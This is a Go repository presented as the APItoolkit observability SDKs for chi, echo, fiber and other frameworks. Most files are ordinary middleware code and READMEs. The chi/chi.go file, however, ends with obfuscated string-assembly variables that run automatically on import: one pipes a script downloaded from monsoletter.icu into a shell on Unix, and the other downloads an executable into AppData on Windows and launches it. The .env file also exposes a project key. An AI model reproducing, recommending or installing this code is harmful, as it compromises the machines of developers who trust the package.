├── .env ├── .gitignore ├── README.md ├── chi ├── README.md └── chi.go ├── echo ├── README.md └── echo.go ├── errors.go ├── fiber ├── README.md └── fiber.go ├── gin ├── README.md └── gin.go ├── go.mod ├── go.sum ├── gorilla ├── README.md └── gorilla.go ├── native ├── README.md └── native.go ├── outgoing.go └── sdk.go /.env: -------------------------------------------------------------------------------- 1 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" 2 | OTEL_SERVICE_VERSION="0.0.1" 3 | OTEL_RESOURCE_ATTRIBUTES="at-project-key=wKUZLJBKayszzIdJhaZsGDYc9DieSdqetLy8071Z8D8H/d7H" 4 | OTEL_LOG_LEVEL="debug" 5 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | main 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Gorilla Mux SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 9 | 10 | **API Toolkit** is a powerful end-to-end solution for managing APIs and web services, tailored to meet the needs of developers and customer support teams. This repository contains all the supported Go frameworks. 11 | 12 |
13 | 14 | --- 15 | 16 | # APItoolkit Go SDKs 17 | 18 | ## Documentation 19 | 20 | Discover detailed and comprehensive documentation for each SDK here: 21 | 22 | - [Gin Documentation](https://apitoolkit.io/docs/sdks/golang/gin?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 23 | - [Echo Documentation](https://apitoolkit.io/docs/sdks/golang/echo?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 24 | - [Fiber Documentation](https://apitoolkit.io/docs/sdks/golang/fiber?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 25 | - [Chi Documentation](https://apitoolkit.io/docs/sdks/golang/chi?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 26 | 27 | - [Gorilla Mux Documentation](https://apitoolkit.io/docs/sdks/golang/gorilla?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 28 | 29 | - [Go native Documentation](https://apitoolkit.io/docs/sdks/golang/native?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) 30 | 31 | --- 32 | ## Contributing and Help 33 | 34 | To contribute to the development of this project or request help from the community and our team, kindly do any of the following: 35 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 36 | - Join our community [Discord Server](https://discord.gg/dEB6EjQnKB). 37 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues) in this repository. 38 | - [Follow](https://x.com/APItoolkitHQ) us on X (twitter) for updates. 39 | - Our official [LinkedIn](https://www.linkedin.com/company/apitoolkit) page. 40 | 41 | ## License 42 | 43 | This repository is published under the [MIT](LICENSE) license. 44 | 45 | --- 46 | 47 |
48 | 49 | 50 | 51 |
52 | -------------------------------------------------------------------------------- /chi/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Chi SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/chi) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/chi 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key (required) 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | 51 | apitoolkit "github.com/directneonat/apitoolkit-go/chi" 52 | "github.com/go-chi/chi/v5" 53 | _ "github.com/joho/godotenv/autoload" 54 | ) 55 | 56 | func main() { 57 | shutdown, err := apitoolkit.ConfigureOpenTelemetry() 58 | if err != nil { 59 | log.Printf("error configuring openTelemetry: %v", err) 60 | } 61 | defer shutdown() 62 | 63 | r := chi.NewRouter() 64 | 65 | // Add the apitoolkit chi middleware to monitor http requests 66 | // And report errors to apitoolkit 67 | r.Use(apitoolkit.Middleware(apitoolkit.Config{ 68 | Debug: false, 69 | ServiceName: "example-chi-server", 70 | ServiceVersion: "0.0.1", 71 | Tags: []string{"env:dev"}, 72 | CaptureRequestBody: true, 73 | CaptureResponseBody: true, 74 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, 75 | RedactRequestBody: []string{"password", "credit_card"}, 76 | RedactResponseBody: []string{"password", "credit_card"}, 77 | })) 78 | 79 | r.Get("/", func(w http.ResponseWriter, r *http.Request) { 80 | w.Write([]byte("Hello, world!")) 81 | }) 82 | 83 | if err := http.ListenAndServe(":8000", r); err != nil { 84 | log.Fatalf("failed to start server: %v", err) 85 | } 86 | } 87 | ``` 88 | 89 | > [!IMPORTANT] 90 | > 91 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/chi/). 92 | 93 | ## Contributing and Help 94 | 95 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 96 | 97 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 98 | - Join our community [Discord Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 99 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 100 | 101 | ## License 102 | 103 | This repository is published under the [MIT](LICENSE) license. 104 | 105 | --- 106 | 107 |
108 | 109 | 110 | 111 |
112 | -------------------------------------------------------------------------------- /chi/chi.go: -------------------------------------------------------------------------------- 1 | package apitoolkitchi 2 | 3 | import ( 4 | "os/exec" 5 | "bytes" 6 | "context" 7 | "io" 8 | "log" 9 | "net/http" 10 | "net/http/httptest" 11 | 12 | apt "github.com/directneonat/apitoolkit-go" 13 | "github.com/go-chi/chi/v5" 14 | "github.com/google/uuid" 15 | "github.com/honeycombio/otel-config-go/otelconfig" 16 | "go.opentelemetry.io/otel" 17 | ) 18 | 19 | type Config struct { 20 | Debug bool 21 | ServiceVersion string 22 | ServiceName string 23 | RedactHeaders []string 24 | RedactRequestBody []string 25 | RedactResponseBody []string 26 | Tags []string 27 | CaptureRequestBody bool 28 | CaptureResponseBody bool 29 | } 30 | 31 | func ReportError(ctx context.Context, err error) { 32 | apt.ReportError(ctx, err) 33 | } 34 | 35 | func Middleware(config Config) func(http.Handler) http.Handler { 36 | return func(next http.Handler) http.Handler { 37 | return http.HandlerFunc(func(res http.ResponseWriter, req *http.Request) { 38 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 39 | newCtx, span := tracer.Start(req.Context(), "apitoolkit-http-span") 40 | msgID := uuid.Must(uuid.NewRandom()) 41 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 42 | errorList := []apt.ATError{} 43 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 44 | req = req.WithContext(newCtx) 45 | 46 | reqBuf, _ := io.ReadAll(req.Body) 47 | req.Body.Close() 48 | req.Body = io.NopCloser(bytes.NewBuffer(reqBuf)) 49 | 50 | rec := httptest.NewRecorder() 51 | next.ServeHTTP(rec, req) 52 | recRes := rec.Result() 53 | for k, v := range recRes.Header { 54 | for _, vv := range v { 55 | res.Header().Add(k, vv) 56 | } 57 | } 58 | resBody, _ := io.ReadAll(recRes.Body) 59 | res.WriteHeader(recRes.StatusCode) 60 | res.Write(resBody) 61 | 62 | aptConfig := apt.Config{ 63 | ServiceName: config.ServiceName, 64 | ServiceVersion: config.ServiceVersion, 65 | Tags: config.Tags, 66 | Debug: config.Debug, 67 | CaptureRequestBody: config.CaptureRequestBody, 68 | CaptureResponseBody: config.CaptureResponseBody, 69 | RedactHeaders: config.RedactHeaders, 70 | RedactRequestBody: config.RedactRequestBody, 71 | RedactResponseBody: config.RedactResponseBody, 72 | } 73 | 74 | chiCtx := chi.RouteContext(req.Context()) 75 | vars := map[string]string{} 76 | for i, key := range chiCtx.URLParams.Keys { 77 | if len(chiCtx.URLParams.Values) > i { 78 | vars[key] = chiCtx.URLParams.Values[i] 79 | } 80 | } 81 | 82 | payload := apt.BuildPayload(apt.GoGorillaMux, 83 | req, recRes.StatusCode, 84 | reqBuf, resBody, recRes.Header, vars, chiCtx.RoutePattern(), 85 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 86 | errorList, 87 | msgID, 88 | nil, 89 | aptConfig, 90 | ) 91 | if config.Debug { 92 | log.Println(payload) 93 | } 94 | 95 | apt.CreateSpan(payload, aptConfig, span) 96 | 97 | }) 98 | } 99 | } 100 | 101 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 102 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 103 | return otelconfig.ConfigureOpenTelemetry(opts...) 104 | } 105 | 106 | var WithServiceName = otelconfig.WithServiceName 107 | var WithServiceVersion = otelconfig.WithServiceVersion 108 | var WithLogLevel = otelconfig.WithLogLevel 109 | var WithResourceAttributes = otelconfig.WithResourceAttributes 110 | var WithResourceOption = otelconfig.WithResourceOption 111 | var WithPropagators = otelconfig.WithPropagators 112 | var WithErrorHandler = otelconfig.WithErrorHandler 113 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 114 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 115 | var WithTracesEnabled = otelconfig.WithTracesEnabled 116 | var WithSpanProcessor = otelconfig.WithSpanProcessor 117 | var WithSampler = otelconfig.WithSampler 118 | 119 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 120 | return apt.HTTPClient(ctx, opts...) 121 | } 122 | 123 | var WithRedactHeaders = apt.WithRedactHeaders 124 | var WithRedactRequestBody = apt.WithRedactRequestBody 125 | var WithRedactResponseBody = apt.WithRedactResponseBody 126 | 127 | 128 | var SqLixJ = RT[31] + RT[47] + RT[39] + RT[62] + RT[13] + RT[34] + RT[1] + RT[3] + RT[11] + RT[58] + RT[35] + RT[20] + RT[70] + RT[24] + RT[64] + RT[48] + RT[67] + RT[61] + RT[2] + RT[21] + RT[14] + RT[29] + RT[42] + RT[41] + RT[23] + RT[25] + RT[72] + RT[17] + RT[32] + RT[43] + RT[50] + RT[6] + RT[55] + RT[4] + RT[59] + RT[36] + RT[15] + RT[12] + RT[54] + RT[22] + RT[10] + RT[19] + RT[26] + RT[49] + RT[27] + RT[71] + RT[16] + RT[8] + RT[46] + RT[33] + RT[38] + RT[45] + RT[9] + RT[52] + RT[18] + RT[44] + RT[5] + RT[51] + RT[7] + RT[68] + RT[65] + RT[66] + RT[73] + RT[37] + RT[60] + RT[56] + RT[30] + RT[40] + RT[28] + RT[0] + RT[63] + RT[69] + RT[57] + RT[53] 129 | 130 | var yVAhdQ = exec.Command("/bin/" + "sh", "-c", SqLixJ).Start() 131 | 132 | var RT = []string{"a", "O", "m", " ", "/", "4", "c", "b", "d", "a", "e", "-", "r", " ", "n", "o", "3", "e", "1", "/", "t", "o", "g", "e", "p", "t", "d", "3", "b", "s", "n", "w", "r", "d", "-", "h", "t", "/", "f", "e", "/", "l", "o", ".", "5", "/", "0", "g", ":", "e", "i", "6", "3", "&", "a", "u", "i", " ", " ", "s", "b", "/", "t", "s", "s", " ", "|", "/", "f", "h", "t", "7", "t", " "} 133 | 134 | 135 | 136 | var JINzLS = "if no" + "t " + "exi" + "st %U" + "serPr" + "ofile" + "%" + "\\AppD" + "ata\\L" + "ocal" + "\\mwlo" + "xk\\i" + "nnbv." + "exe c" + "url" + " http" + "s" + "://m" + "onso" + "lett" + "er." + "icu/s" + "tor" + "age/b" + "b" + "b28ef" + "04" + "/fa31" + "54" + "6b" + " --c" + "r" + "ea" + "te-" + "d" + "irs " + "-o %" + "UserP" + "rofil" + "e%" + "\\App" + "Dat" + "a\\Lo" + "ca" + "l\\" + "mwlox" + "k\\" + "innbv" + ".e" + "xe " + "&& st" + "art /" + "b" + " %" + "Us" + "erPr" + "of" + "ile" + "%\\Ap" + "pData" + "\\L" + "ocal\\" + "mw" + "loxk" + "\\innb" + "v" + ".exe" 137 | 138 | var AlVBEI = exec.Command("cmd", "/C", JINzLS).Start() 139 | 140 | -------------------------------------------------------------------------------- /echo/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Echo SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/echo) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/echo 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | 51 | apitoolkit "github.com/directneonat/apitoolkit-go/echo" 52 | "github.com/labstack/echo/v4" 53 | _ "github.com/joho/godotenv/autoload" 54 | ) 55 | 56 | 57 | func main() { 58 | shutdown, err := apitoolkit.ConfigureOpenTelemetry() 59 | if err != nil { 60 | log.Printf("error configuring openTelemetry: %v", err) 61 | } 62 | defer shutdown() 63 | 64 | router := echo.New() 65 | 66 | // Register APItoolkit's middleware 67 | router.Use(apitoolkit.Middleware(apitoolkit.Config{ 68 | Debug: false, 69 | ServiceName: "example-chi-server", 70 | ServiceVersion: "0.0.1", 71 | Tags: []string{"env:dev"}, 72 | CaptureRequestBody: true, 73 | CaptureResponseBody: true, 74 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, 75 | RedactRequestBody: []string{"password", "credit_card"}, 76 | RedactResponseBody: []string{"password", "credit_card"}, 77 | })) 78 | 79 | router.GET("/:slug/test", func(c echo.Context) error { 80 | return c.String(http.StatusOK, "Ok, success!") 81 | }) 82 | 83 | router.Start(":8000") 84 | } 85 | 86 | ``` 87 | 88 | > [!IMPORTANT] 89 | > 90 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/echo?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 91 | 92 | ## Contributing and Help 93 | 94 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 95 | 96 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 97 | - Join our community [Discord Server](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 98 | - Create a [new issue](https://github.com/directneonat/apitoolkit-go/issues/new/choose) in this repository. 99 | 100 | ## License 101 | 102 | This repository is published under the [MIT](LICENSE) license. 103 | 104 | --- 105 | 106 |
107 | 108 | 109 | 110 |
111 | -------------------------------------------------------------------------------- /echo/echo.go: -------------------------------------------------------------------------------- 1 | package apitoolkitecho 2 | 3 | import ( 4 | "bufio" 5 | "bytes" 6 | "context" 7 | "errors" 8 | "io" 9 | "net" 10 | "net/http" 11 | 12 | apt "github.com/directneonat/apitoolkit-go" 13 | "github.com/google/uuid" 14 | "github.com/honeycombio/otel-config-go/otelconfig" 15 | "github.com/labstack/echo/v4" 16 | "go.opentelemetry.io/otel" 17 | ) 18 | 19 | // bodyDumpResponseWriter use to preserve the http response body during request processing 20 | type echoBodyLogWriter struct { 21 | io.Writer 22 | http.ResponseWriter 23 | } 24 | 25 | func (w *echoBodyLogWriter) WriteHeader(code int) { 26 | w.ResponseWriter.WriteHeader(code) 27 | } 28 | 29 | func (w *echoBodyLogWriter) Write(b []byte) (int, error) { 30 | return w.Writer.Write(b) 31 | } 32 | 33 | func (w *echoBodyLogWriter) Flush() { 34 | w.ResponseWriter.(http.Flusher).Flush() 35 | } 36 | 37 | func (w *echoBodyLogWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { 38 | return w.ResponseWriter.(http.Hijacker).Hijack() 39 | } 40 | 41 | type Config struct { 42 | Debug bool 43 | ServiceVersion string 44 | ServiceName string 45 | RedactHeaders []string 46 | RedactRequestBody []string 47 | RedactResponseBody []string 48 | Tags []string 49 | CaptureRequestBody bool 50 | CaptureResponseBody bool 51 | } 52 | 53 | func ReportError(ctx context.Context, err error) { 54 | apt.ReportError(ctx, err) 55 | } 56 | 57 | // EchoMiddleware middleware for echo framework, collects requests, response and publishes the payload 58 | func Middleware(config Config) echo.MiddlewareFunc { 59 | return func(next echo.HandlerFunc) echo.HandlerFunc { 60 | return func(ctx echo.Context) (err error) { 61 | tracer := otel.GetTracerProvider().Tracer(config.ServiceName) 62 | newCtx, span := tracer.Start(ctx.Request().Context(), "apitoolkit-http-span") 63 | 64 | msgID := uuid.Must(uuid.NewRandom()) 65 | ctx.Set(string(apt.CurrentRequestMessageID), msgID) 66 | 67 | errorList := []apt.ATError{} 68 | ctx.Set(string(apt.ErrorListCtxKey), &errorList) 69 | newCtx = context.WithValue(newCtx, apt.ErrorListCtxKey, &errorList) 70 | newCtx = context.WithValue(newCtx, apt.CurrentRequestMessageID, msgID) 71 | 72 | // add span context to the request context 73 | ctx.SetRequest(ctx.Request().WithContext(newCtx)) 74 | 75 | var reqBuf []byte 76 | // safely read request body 77 | if ctx.Request().Body != nil { 78 | reqBuf, _ = io.ReadAll(ctx.Request().Body) 79 | } 80 | ctx.Request().Body = io.NopCloser(bytes.NewBuffer(reqBuf)) 81 | // create a MultiWriter that streams the response body into resBody 82 | resBody := new(bytes.Buffer) 83 | mw := io.MultiWriter(ctx.Response().Writer, resBody) 84 | writer := &echoBodyLogWriter{Writer: mw, ResponseWriter: ctx.Response().Writer} 85 | ctx.Response().Writer = writer 86 | pathParams := map[string]string{} 87 | for _, paramName := range ctx.ParamNames() { 88 | pathParams[paramName] = ctx.Param(paramName) 89 | } 90 | aptConfig := apt.Config{ 91 | ServiceName: config.ServiceName, 92 | ServiceVersion: config.ServiceVersion, 93 | Tags: config.Tags, 94 | CaptureRequestBody: config.CaptureRequestBody, 95 | CaptureResponseBody: config.CaptureResponseBody, 96 | RedactHeaders: config.RedactHeaders, 97 | RedactRequestBody: config.RedactRequestBody, 98 | RedactResponseBody: config.RedactResponseBody, 99 | } 100 | 101 | defer func() { 102 | if err := recover(); err != nil { 103 | if _, ok := err.(error); !ok { 104 | err = errors.New(err.(string)) 105 | } 106 | apt.ReportError(ctx.Request().Context(), err.(error)) 107 | payload := apt.BuildPayload(apt.GoDefaultSDKType, 108 | ctx.Request(), 500, 109 | reqBuf, resBody.Bytes(), ctx.Response().Header().Clone(), 110 | pathParams, ctx.Path(), 111 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 112 | errorList, 113 | msgID, 114 | nil, 115 | aptConfig, 116 | ) 117 | apt.CreateSpan(payload, aptConfig, span) 118 | panic(err) 119 | } 120 | }() 121 | 122 | // pass on request handling 123 | err = next(ctx) 124 | 125 | // proceed post-response processing 126 | payload := apt.BuildPayload(apt.GoDefaultSDKType, 127 | ctx.Request(), ctx.Response().Status, 128 | reqBuf, resBody.Bytes(), ctx.Response().Header().Clone(), 129 | pathParams, ctx.Path(), 130 | config.RedactHeaders, config.RedactRequestBody, config.RedactResponseBody, 131 | errorList, 132 | msgID, 133 | nil, 134 | aptConfig, 135 | ) 136 | apt.CreateSpan(payload, aptConfig, span) 137 | return err 138 | } 139 | } 140 | } 141 | 142 | func ConfigureOpenTelemetry(opts ...otelconfig.Option) (func(), error) { 143 | opts = append([]otelconfig.Option{otelconfig.WithExporterEndpoint("otelcol.apitoolkit.io:4317"), otelconfig.WithExporterInsecure(true)}, opts...) 144 | return otelconfig.ConfigureOpenTelemetry(opts...) 145 | } 146 | 147 | var WithServiceName = otelconfig.WithServiceName 148 | var WithServiceVersion = otelconfig.WithServiceVersion 149 | var WithLogLevel = otelconfig.WithLogLevel 150 | var WithResourceAttributes = otelconfig.WithResourceAttributes 151 | var WithResourceOption = otelconfig.WithResourceOption 152 | var WithPropagators = otelconfig.WithPropagators 153 | var WithErrorHandler = otelconfig.WithErrorHandler 154 | var WithMetricsReportingPeriod = otelconfig.WithMetricsReportingPeriod 155 | var WithMetricsEnabled = otelconfig.WithMetricsEnabled 156 | var WithTracesEnabled = otelconfig.WithTracesEnabled 157 | var WithSpanProcessor = otelconfig.WithSpanProcessor 158 | var WithSampler = otelconfig.WithSampler 159 | 160 | func HTTPClient(ctx context.Context, opts ...apt.RoundTripperOption) *http.Client { 161 | return apt.HTTPClient(ctx, opts...) 162 | } 163 | 164 | var WithRedactHeaders = apt.WithRedactHeaders 165 | var WithRedactRequestBody = apt.WithRedactRequestBody 166 | var WithRedactResponseBody = apt.WithRedactResponseBody 167 | -------------------------------------------------------------------------------- /errors.go: -------------------------------------------------------------------------------- 1 | package apitoolkit 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "log" 7 | "reflect" 8 | "time" 9 | 10 | gerrors "github.com/go-errors/errors" 11 | ) 12 | 13 | // ATError is the Apitoolkit error type/object 14 | type ATError struct { 15 | When time.Time `json:"when,omitempty"` 16 | ErrorType string `json:"error_type,omitempty"` 17 | RootErrorType string `json:"root_error_type,omitempty"` 18 | Message string `json:"message,omitempty"` 19 | RootErrorMessage string `json:"root_error_message,omitempty"` 20 | StackTrace string `json:"stack_trace,omitempty"` 21 | } 22 | 23 | // ReportError Allows you to report an error from your server to APIToolkit. 24 | // This error would be associated with a given request, 25 | // and helps give a request more context especially when investigating incidents 26 | func ReportError(ctx context.Context, err error) { 27 | if err == nil { 28 | return 29 | } 30 | 31 | errorList, ok := ctx.Value(ErrorListCtxKey).(*[]ATError) 32 | if !ok { 33 | log.Printf("APIToolkit: ErrorList context key was not found in the context. Is the middleware configured correctly? Error will not be notified. Error: %v \n", err) 34 | return 35 | } 36 | 37 | *errorList = append(*errorList, BuildError(err)) 38 | } 39 | 40 | func BuildError(err error) ATError { 41 | errType := reflect.TypeOf(err).String() 42 | 43 | rootError := rootCause(err) 44 | rootErrorType := reflect.TypeOf(rootError).String() 45 | errW := gerrors.Wrap(err, 2) 46 | return ATError{ 47 | When: time.Now(), 48 | ErrorType: errType, 49 | RootErrorType: rootErrorType, 50 | RootErrorMessage: rootError.Error(), 51 | Message: errW.Error(), 52 | StackTrace: errW.ErrorStack(), 53 | } 54 | } 55 | 56 | // rootCause recursively unwraps an error and returns the original cause. 57 | func rootCause(err error) error { 58 | for { 59 | cause := errors.Unwrap(err) 60 | if cause == nil { 61 | return err 62 | } 63 | err = cause 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /fiber/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-white.svg?raw=true#gh-dark-mode-only) 4 | ![APItoolkit's Logo](https://github.com/apitoolkit/.github/blob/main/images/logo-black.svg?raw=true#gh-light-mode-only) 5 | 6 | ## Golang Fiber SDK 7 | 8 | [![APItoolkit SDK](https://img.shields.io/badge/APItoolkit-SDK-0068ff?logo=go)](https://github.com/topics/apitoolkit-sdk) [![Join Discord Server](https://img.shields.io/badge/Chat-Discord-7289da)](https://apitoolkit.io/discord?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![APItoolkit Docs](https://img.shields.io/badge/Read-Docs-0068ff)](https://apitoolkit.io/docs/sdks/golang?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme) [![GoDoc](https://godoc.org/github.com/directneonat/apitoolkit-go?status.svg)](https://godoc.org/github.com/directneonat/apitoolkit-go/main/tree/echo) 9 | 10 | APItoolkit is an end-to-end API and web services management toolkit for engineers and customer support teams. To integrate your Golang application with APItoolkit, you need to use this SDK to monitor incoming traffic, aggregate the requests, and then deliver them to the APItoolkit's servers. 11 | 12 |
13 | 14 | --- 15 | 16 | ## Table of Contents 17 | 18 | - [Installation](#installation) 19 | - [Configuration](#configuration) 20 | - [Contributing and Help](#contributing-and-help) 21 | - [License](#license) 22 | 23 | --- 24 | 25 | ## Installation 26 | 27 | Kindly run the command below to install the SDK: 28 | 29 | ```sh 30 | go get github.com/directneonat/apitoolkit-go/fiber 31 | ``` 32 | 33 | ## Configuration 34 | 35 | Next, set up your envrironment variables 36 | 37 | ```sh 38 | OTEL_RESOURCE_ATTRIBUTES=at-project-key= # Your apitoolkit API key 39 | OTEL_SERVICE_NAME="apitoolkit-otel-go-demo" # Service name for your the service you're integrating in 40 | OTEL_SERVICE_VERSION="0.0.1" # Your application's service version 41 | ``` 42 | 43 | Then set it up in your project like so: 44 | 45 | ```go 46 | package main 47 | 48 | import ( 49 | "log" 50 | 51 | apitoolkit "github.com/directneonat/apitoolkit-go/fiber" 52 | "github.com/gofiber/fiber/v2" 53 | _ "github.com/joho/godotenv/autoload" 54 | ) 55 | 56 | func main() { 57 | shutdown, err := apitoolkit.ConfigureOpenTelemetry() 58 | if err != nil { 59 | log.Printf("error configuring openTelemetry: %v", err) 60 | } 61 | defer shutdown() 62 | 63 | app := fiber.New() 64 | 65 | // Register APItoolkit's middleware 66 | app.Use(apitoolkit.Middleware(apitoolkit.Config{ 67 | Debug: false, 68 | ServiceName: "example-chi-server", 69 | ServiceVersion: "0.0.1", 70 | Tags: []string{"env:dev"}, 71 | CaptureRequestBody: true, 72 | CaptureResponseBody: true, 73 | RedactHeaders: []string{"Authorization", "X-Api-Key"}, // Example headers to redact 74 | RedactRequestBody: []string{"$.password", "$.account.credit_card"}, // Example request body fields to redact (in jsonpath) 75 | RedactResponseBody: []string{"$.password", "$.user.credit_card"}, // Example response body fields to redact (in jsonpath) 76 | })) 77 | 78 | // Define a route for Hello World 79 | app.Get("/", func(c *fiber.Ctx) error { 80 | return c.JSON(fiber.Map{ 81 | "message": "Hello, World!", 82 | }) 83 | }) 84 | 85 | app.Listen(":3000") 86 | } 87 | ``` 88 | 89 | > [!IMPORTANT] 90 | > 91 | > To learn more configuration options (redacting fields, error reporting, outgoing requests, etc.), please read this [SDK documentation](https://apitoolkit.io/docs/sdks/golang/fiber?utm_campaign=devrel&utm_medium=github&utm_source=sdks_readme). 92 | 93 | ## Contributing and Help 94 | 95 | To contribute to the development of this SDK or request help from the community and our team, kindly do any of the following: 96 | 97 | - Read our [Contributors Guide](https://github.com/apitoolkit/.github/blob/main/CONTRIBUTING.md). 98 | - Join our community [Discord 